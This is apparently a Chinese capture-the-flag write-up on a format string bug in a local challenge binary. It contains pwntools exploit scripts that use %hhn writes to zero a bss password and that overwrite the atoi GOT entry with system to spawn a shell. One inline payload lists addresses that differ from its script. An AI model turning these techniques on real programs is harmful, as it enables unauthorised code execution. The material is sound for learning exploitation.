格式化字符串漏洞
非getshell
思路
- 按代码的逻辑来说,是要求猜一个随机数,如果这里的cat flag的确有这个flag的话,那么覆盖password成为指定内容就可以做完了。
password是一个bss段的变量,而checksec发现
地址随机化没开,所以password的地址确定了。
- payload
buf是第十个参数,干脆把他覆盖成0。然后再加上前面格式化字符串的长度,可以得到地址开始是第17个参数。
payload="%17$hhn%18$hhn%19$hhn%20$hhnA"+p32(0x0804a048)+p32(0x0804a049)+p32(0x0804a050)+p32(0x0804a051)
from pwn import *
import time
#context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
sh=process("./crack")
context.log_level='debug'
#gdb.attach(sh)
payload="%17$hhn%18$hhn%19$hhn%20$hhn"+p32(0x0804a048)+p32(0x0804a049)+p32(0x0804a04a)+p32(0x0804a04b)
sh.sendlineafter("name ? ",payload)
time.sleep(0.1)
sh.sendlineafter(':','0')
sh.interactive()
sh.close()
getshell
- 我大胆想象一下,如果我把atoi的got表给改成system的plt表…
from pwn import *
import time
#context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
sh=process("./crack")
elf=ELF("./crack")
context.log_level='debug'
#gdb.attach(sh)
atoi_got_addr=elf.got['atoi']
system_plt_addr=elf.plt['system']
payload=fmtstr_payload(10,{atoi_got_addr:system_plt_addr})
sh.sendlineafter('? ',payload)
time.sleep(0.1)
sh.sendlineafter(':',"/bin/sh")
sh.interactive()
sh.close()
plt表是不可写的= =。